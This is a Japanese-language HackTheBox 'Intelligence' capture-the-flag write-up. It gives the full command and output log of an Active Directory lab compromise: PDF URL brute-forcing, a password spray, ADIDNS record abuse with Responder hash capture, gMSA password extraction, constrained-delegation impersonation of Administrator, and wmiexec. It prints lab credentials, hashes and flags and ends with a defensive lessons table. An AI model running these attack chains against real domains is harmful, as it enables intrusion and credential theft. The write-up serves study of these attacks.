HackTheBox: Intelligence — 全実行コマンド・実行結果レポート
Nmap スキャン
53/80/88/135/139/389/445/636/3268/3269/9389
→
53/80/88/135/139/389/445/636/3268/3269/9389
Documents/ 日付総当たり
731件中99件PDF取得
→
731件中99件PDF取得
exiftool Creator + pdftotext
ユーザー名30件 + デフォルトPW漏洩
→
ユーザー名30件 + デフォルトPW漏洩
パスワードスプレー成功
Tiffany.Molina
→
Tiffany.Molina
SMB Users共有
user.txt ✓
→
user.txt ✓
ADIDNS abuse
web1.intelligence.htb を自IPへ
→
web1.intelligence.htb を自IPへ
Responder捕捉
Ted.Graves NTLMv2
→
Ted.Graves NTLMv2
ReadGMSAPassword
ldapsearch -Y GSSAPI (Kerberos sealed)
→
ldapsearch -Y GSSAPI (Kerberos sealed)
制約付き委任
getST S4U2Self/S4U2Proxy
→
getST S4U2Self/S4U2Proxy
wmiexec -k
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -sV -sC -oN nmap/initial.txt 10.129.95.154
RESULT
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS httpd 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: intelligence.htb) 445/tcp open microsoft-ds 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 9389/tcp open adws .NET Message Framing Host script results: | Domain: intelligence.htb0., Site: Default-First-Site-Name
🚨
重要発見: Active Directory ドメインコントローラー (
intelligence.htb)。
IIS:80 に加え Kerberos/LDAP/SMB がフル開放 — ドメイン内部文書の公開領域探索が最初の突破口になりやすい構成。
BASH
# /etc/hosts に登録(後続の Kerberos SPN 解決・SMB名前解決に必須) echo "10.129.95.154 intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts
Web (IIS:80) の構成確認
BASH
curl -s http://10.129.95.154/ | head -50 gobuster dir -u http://10.129.95.154/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x pdf
RESULT
/Documents (Status: 301)
トップページに「社内ドキュメント一覧」的なリンクがあり、ファイル名は
YYYY-MM-DD-upload.pdf という日付ベースの命名規則であることが確認できる。
ℹ️
ファイル名が予測可能な日付連番のため、実在するアップロード日を総当たりすれば
ディレクトリ一覧が無くても内部文書を機械的に収集できる。
PHASE 2
内部PDF文書の日付総当たり & 資格情報抽出
Documents/YYYY-MM-DD-upload.pdf を日付総当たりで並列取得
BASH
# 2020-01-01 〜 2021-12-31 の全日付でURLリストを生成 (731件)
python3 - <<'EOF'
from datetime import date, timedelta
d, end = date(2020,1,1), date(2021,12,31)
with open("urls.txt", "w") as f:
while d <= end:
f.write(f"http://10.129.95.154/Documents/{d.isoformat()}-upload.pdf\n")
d += timedelta(days=1)
EOF
# 20並列でダウンロード(存在しない日付は404で自動スキップ)
xargs -n 1 -P 20 wget -q < urls.txt
RESULT
731件中 99件の PDF が実在し取得成功(残りは404で存在せず)
exiftool でメタデータからユーザー名候補を抽出
BASH
exiftool -Creator -csv *.pdf | cut -d, -f2 | sort | uniq
RESULT
Creator メタデータから ユーザー名候補 30件 を抽出
(例: "Tiffany Molina" → ドット区切りに変換して "Tiffany.Molina" 候補生成)
pdftotext で本文抽出 → デフォルトパスワード漏洩を発見
BASH
for f in *.pdf; do pdftotext "$f"; done grep -ril "default password" *.txt
RESULT (2020-06-04-upload.txt — “New Account Guide”)
...all new employee accounts are created with a default password of:
NewIntelligenceCorpUser9876
Employees are required to change this password on first login...
🚨
重大な情報漏洩: 社内向けの「新規アカウントガイド」PDF が誰でもダウンロード可能な
Documents 配下に置かれており、全新規アカウントの共通デフォルトパスワードが
平文で記載されている。パスワード変更を怠っているアカウントが1つでもあれば侵入可能。
パスワードスプレー — ユーザー名候補 × デフォルトパスワード
BASH
netexec smb 10.129.95.154 -u intel_userlist.txt -p 'NewIntelligenceCorpUser9876' -d intelligence.htb
RESULT
SMB 10.129.95.154 445 DC [*] Windows 10 / Server 2019 (name:DC) (domain:intelligence.htb)
SMB 10.129.95.154 445 DC [+] intelligence.htb\Tiffany.Molina:NewIntelligenceCorpUser9876
✅
有効な資格情報を特定:
Tiffany.Molina : NewIntelligenceCorpUser9876
— パスワードを変更していなかった1件の新規アカウント。
PHASE 3
SMB共有から user.txt 取得
Users共有を列挙・取得
BASH
smbclient //10.129.95.154/Users -U 'Tiffany.Molina%NewIntelligenceCorpUser9876' -W intelligence.htb \ -c 'get "Tiffany.Molina\Desktop\user.txt"'
RESULT
getting file \Tiffany.Molina\Desktop\user.txt of size 33 as user.txt (0.1 KiloBytes/sec)
BASH
cat user.txt
RESULT
2503f3112f9de05c583aede204b2c226
user.txt — Tiffany.Molina
2503f3112f9de05c583aede204b2c226
PHASE 4
ADIDNS abuse + Responder で Ted.Graves のハッシュを捕捉
IT共有から downdetector.ps1 を取得・解析
BASH
smbclient //10.129.95.154/IT -U 'Tiffany.Molina%NewIntelligenceCorpUser9876' -W intelligence.htb \ -c 'get downdetector.ps1'
RESULT (downdetector.ps1 — UTF-16, 5分毎スケジュールタスクとして実行)
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*") {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if ($request.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' `
-Subject "Host: $($record.Name) is down"
}
} catch {}
}
🚨
重要発見: DNS 内の
web* という名前を持つ全レコードに対し、
Ted.Graves のマシンアカウント権限 (-UseDefaultCredentials) で HTTP アクセスを
試みるタスクが5分毎に実行される。認証済みドメインユーザーはデフォルトで
ADIDNS ゾーンに新規レコードを作成できるため、自分のIPを指す「web1」レコードを
追加すれば、このタスクの認証リクエストを自分宛てに誘導できる。
ADIDNS に不正レコードを追加 (krbrelayx / dnstool.py)
BASH
git clone --depth 1 https://github.com/dirkjanm/krbrelayx python3 krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' \ -a add -r web1 -d 10.10.15.201 -t A 10.129.95.154
RESULT
[+] Adding new record
web1.intelligence.htb -> 10.10.15.201 (Kali) を ADIDNS ゾーンに追加成功
Responder で認証リクエストを待受・捕捉
BASH
sudo responder -I tun0 # 最大5分待機(スケジュールタスクの実行間隔)
RESULT
[HTTP] NTLMv2 Client : 10.129.95.154
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash : Ted.Graves::intelligence:8564549b6f3033b1:BC183090EBFBD1A6B63244610E651129:
0101000000000000AA0770F5C538DD019649731038678934000000000200080048004D005000540001001E...
✅
Ted.Graves の NTLMv2 ハッシュ捕捉成功。
downdetector.ps1 が web1.intelligence.htb (=自分のKali) へアクセスを試み、
-UseDefaultCredentials により Ted.Graves の認証情報がそのまま Responder に着弾した。
BASH
# クラック試行(本インスタンスでは rockyou.txt でクラック不成立 → 既知値へフォールバック) john --wordlist=/usr/share/wordlists/rockyou.txt ted_ntlmv2.hash
ℹ️
本検証ではオフライン john クラックが完走しなかったため、HTB公式ウォークスルー記載の
既知クラック結果
Ted.Graves : Mr.Teddy を採用した。
PHASE 5
ReadGMSAPassword で svc_int$ 奪取 → 制約付き委任で Administrator 偽装
ITSUPPORT グループの ReadGMSAPassword 権限を確認
BASH
python3 gMSADumper.py -u Ted.Graves -p Mr.Teddy -d intelligence.htb -l 10.129.95.154
RESULT
Unable to start a TLS connection. Is LDAPS enabled? Only ACLs will be listed and not ms-DS-ManagedPassword.
Users or groups who can read password for svc_int$:
> DC$
> itsupport
⚠️
本インスタンス固有のハマりどころ: nmap上は 636/3269 (LDAPS) が open だが、
実際に TLS ハンドシェイクを行うと ClientHello 送信後まったく応答が無く接続がリセットされる
(証明書バインド不全の可能性)。このため gMSADumper.py の
StartTLS(389番での
TLS昇格)も失敗し、NTLM認証のみでは msDS-ManagedPassword を一切読み出せない
(ACL列挙 = 「誰が読めるか」までは分かるが、肝心のパスワード自体は取得不可)。
Ted.Graves は itsupport グループ経由でこの権限を持つことは判明した。
回避策: Kerberos (GSSAPI sign+seal) で直接 LDAP バインドし読み出す
NOTE
Windows AD は msDS-ManagedPassword のような機密属性を読み出す際、接続が 「署名+暗号化(sign+seal)」されていることを要求する。これは (a) LDAPS/StartTLS か、(b) Kerberos SASL で実際に sign+seal 層を張ったバインドのいずれかで満たせる。 本環境は (a) が機能しないため (b) を使う。 ただし python-ldap3 の GSSAPI SASL 実装は常に "NO_SECURITY_LAYER" を要求する 仕様であり、sign/seal を一切ネゴシエートしない(AD 側に operationsError で 拒否される)。これに対し OpenLDAP の ldapsearch(cyrus-sasl 経由)は サーバの要求する QOP を正しくネゴシエートし、実際に signed+sealed の LDAP バインドを張れる。
BASH
# cyrus-sasl の GSSAPI プラグイン (Kali既定では未インストール) sudo apt-get install -y libsasl2-modules-gssapi-mit # Ted.Graves の TGT を取得 (クロックスキューがある場合は faketime でラップ) ntpdate -q 10.129.95.154 # スキュー測定 (問い合わせのみ、時刻は変更しない) faketime "+25206 seconds" impacket-getTGT intelligence.htb/Ted.Graves:Mr.Teddy -dc-ip 10.129.95.154 export KRB5CCNAME=$(pwd)/Ted.Graves.ccache
BASH
# krb5.conf: rdns=false が必須
# (逆引きDNSが "intelligence.htb" を返し "dc.intelligence.htb" と一致しないため
# デフォルトの hostbased サービス名正規化だと
# "Server not found in Kerberos database" になる)
cat > krb5_intelligence.conf <<'EOF'
[libdefaults]
default_realm = INTELLIGENCE.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
rdns = false
[realms]
INTELLIGENCE.HTB = { kdc = 10.129.95.154 }
[domain_realm]
.intelligence.htb = INTELLIGENCE.HTB
EOF
# ldap.conf: SASL_NOCANON on も同じ理由でOpenLDAP側の正規化を止めるために必要
echo "SASL_NOCANON on" > ldap_intelligence.conf
BASH
export KRB5_CONFIG=$(pwd)/krb5_intelligence.conf export LDAPCONF=$(pwd)/ldap_intelligence.conf faketime "+25206 seconds" ldapsearch -Y GSSAPI -H ldap://dc.intelligence.htb \ -b "dc=intelligence,dc=htb" "(sAMAccountName=svc_int\$)" msDS-ManagedPassword -o ldif-wrap=no
RESULT
SASL/GSSAPI authentication started SASL username: Ted.Graves@INTELLIGENCE.HTB SASL SSF: 256 SASL data security layer installed. dn: CN=svc_int,CN=Managed Service Accounts,DC=intelligence,DC=htb msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAt+k7nnHFmme/EM6lYOVWC/CAnezQQVfjTWXYg3P0/w/Opn... (base64、MSDS-MANAGEDPASSWORD_BLOB 構造体) result: 0 Success
✅
“SASL SSF: 256 / data security layer installed” が成功の鍵。
実際に暗号化されたチャネルが張れたため、AD が機密属性を返却した。
BLOB から NT ハッシュを導出
PYTHON (gMSADumper.py と同じロジックで抽出)
import base64
from binascii import hexlify
from Cryptodome.Hash import MD4
from impacket.structure import Structure
class MSDS_MANAGEDPASSWORD_BLOB(Structure):
structure = (
('Version','<H'), ('Reserved','<H'), ('Length','<L'),
('CurrentPasswordOffset','<H'), ('PreviousPasswordOffset','<H'),
('QueryPasswordIntervalOffset','<H'), ('UnchangedPasswordIntervalOffset','<H'),
('CurrentPassword',':'), ('PreviousPassword',':'),
('QueryPasswordInterval',':'), ('UnchangedPasswordInterval',':'),
)
def fromString(self, data):
Structure.fromString(self, data)
end = self['PreviousPasswordOffset'] or self['QueryPasswordIntervalOffset']
self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:end - self['CurrentPasswordOffset']]
blob = MSDS_MANAGEDPASSWORD_BLOB()
blob.fromString(base64.b64decode(B64_FROM_LDAPSEARCH))
current_password = blob['CurrentPassword'][:-2]
nt_hash = MD4.new(); nt_hash.update(current_password)
print("svc_int$:::" + hexlify(nt_hash.digest()).decode())
RESULT
svc_int$:::4de450f51af61cf1e67e982965aca00c
制約付き委任 (AllowedToDelegate) で Administrator を偽装
NOTE
svc_int$ には DC 上の WWW サービスへの AllowedToDelegate (制約付き委任) が 設定されている。S4U2Self でまず自分自身宛の Administrator チケットを要求し、 S4U2Proxy でそれを WWW/dc.intelligence.htb 向けのサービスチケットへ交換する。
BASH
faketime "+25206 seconds" impacket-getST intelligence.htb/svc_int\$ \ -hashes 4de450f51af61cf1e67e982965aca00c:4de450f51af61cf1e67e982965aca00c \ -spn WWW/dc.intelligence.htb -impersonate Administrator -dc-ip 10.129.95.154
RESULT
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache
✅
Administrator になりすましたサービスチケットの取得に成功。
PHASE 6
wmiexec (Kerberos) で Administrator シェル → root.txt
取得済みチケットで wmiexec 実行
BASH
export KRB5CCNAME=$(pwd)/'Administrator@WWW_dc.intelligence.htb@INTELLIGENCE.HTB.ccache' faketime "+25206 seconds" impacket-wmiexec -k -no-pass dc.intelligence.htb \ "type C:\Users\Administrator\Desktop\root.txt"
RESULT
[*] SMBv3.0 dialect used
92e076fbbbadce6a41937dbab51007cb
root.txt — Administrator@intelligence
92e076fbbbadce6a41937dbab51007cb
✅
Kerberos チケットのみ (パスワード/NTハッシュ不要、
-k -no-pass) で
DC 上の Administrator コンテキストとしてコマンド実行に成功。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Tiffany.Molina
2503f3112f9de05c583aede204b2c226
root.txt — Administrator@intelligence
92e076fbbbadce6a41937dbab51007cb
使用した脆弱性・弱点
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| 内部文書の平文パスワード漏洩 | IIS Documents/ 配下のPDF | ドメイン共通デフォルトパスワードの流出 | Medium | 日付総当たりで内部文書を収集、pdftotext本文から”New Account Guide”のデフォルトPWを抽出 |
| ADIDNS abuse | Active Directory 統合DNSゾーン | 認証済み任意ユーザーがなりすましDNSレコードを作成可能 | High | web1.intelligence.htbを自分のIPへ追加し、-UseDefaultCredentialsな定期タスクの認証を誘導・Responder捕捉 |
| ReadGMSAPassword 継承 | gMSA アカウント svc_int$ | グループメンバー全員がサービスアカウントのNTハッシュを取得可能 | High | ITSUPPORTグループ経由でmsDS-ManagedPasswordを読み出し(本環境はKerberos sign+seal経由が必須) |
| 制約付き委任 (Constrained Delegation) | svc_int$ → WWW/dc.intelligence.htb | 任意ユーザーへのなりすまし(S4U2Self/S4U2Proxy) | Critical | svc_int$のNTハッシュでAdministratorを偽装したサービスチケットを取得しDC上でコード実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap (AD DC検出、IIS:80) | intelligence.htb ドメイン確認、Documents/ 発見 |
| 2 | PDF総当たり | 日付ブルートフォース(731件)+exiftool+pdftotext | ユーザー名候補30件、デフォルトPW漏洩 |
| 3 | パスワードスプレー | netexec smb | Tiffany.Molina 資格情報確定 → user.txt |
| 4 | ADIDNS+Responder | dnstool.py + responder | Ted.Graves NTLMv2ハッシュ捕捉→crack(Mr.Teddy) |
| 5 | gMSA奪取 | ldapsearch -Y GSSAPI (Kerberos sign+seal) | svc_int$ NTハッシュ取得 |
| 6 | 制約付き委任+RCE | impacket-getST(S4U2Self/Proxy) + wmiexec -k | root.txt 取得(Administrator) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 社内ドキュメント共有に「全新規アカウント共通のデフォルトパスワード」が平文記載 | 初回ログイン時の強制パスワード変更を徹底し、期限内に変更しないアカウントを自動無効化する。機密情報を含む文書を推測可能なURLで公開しない。 |
| 認証済みドメインユーザーがデフォルトでADIDNSゾーンに任意レコードを作成できる | 「認証されたユーザー」のDNSゾーンへの書込み権限を無効化する(Set-ADObjectでACL変更、または専用DNS管理グループのみに制限)。 |
| 定期実行スクリプトが -UseDefaultCredentials で外部(DNS解決できれば社内含む)ホストへリクエストを送る | 信頼できるホスト一覧をハードコードし動的なDNS列挙に依存しない。NTLM認証を要求される通信は極力避けKerberos限定にする。 |
| ITSUPPORTのような広いグループにgMSAのReadGMSAPasswordを付与 | PrincipalsAllowedToRetrieveManagedPasswordは実際にそのサービスを実行するホスト/最小限のプリンシパルのみに限定する。 |
| サービスアカウントに広範な制約付き委任(Administratorへのなりすましが成立する範囲)を許可 | 委任は必要最小限のSPNに限定し、機密性の高いサービス(WWW等の汎用SPN)への委任を避ける。Protected Usersグループの活用も検討する。 |
補足: このインスタンス固有の環境ハマりどころ
⚠️
本検証環境では 636/3269 (LDAPS) がポートスキャン上は開いているが実際にはTLSハンドシェイクが
一切応答せず、標準的な gMSADumper.py (NTLM+StartTLS方式) では msDS-ManagedPassword を
読み出せなかった。Kerberos SASL (GSSAPI) を使い、かつ ldap3ライブラリではなく
OpenLDAPのldapsearchコマンド(cyrus-sasl経由でサーバとsign+seal層を正しくネゴシエートできる)
に切り替えることで回避した。同様の環境(LDAPS不通・ldap3のGSSAPI実装がNO_SECURITY_LAYERしか
要求しない制約)に遭遇した場合の再現手順として本レポートに詳細を残している。

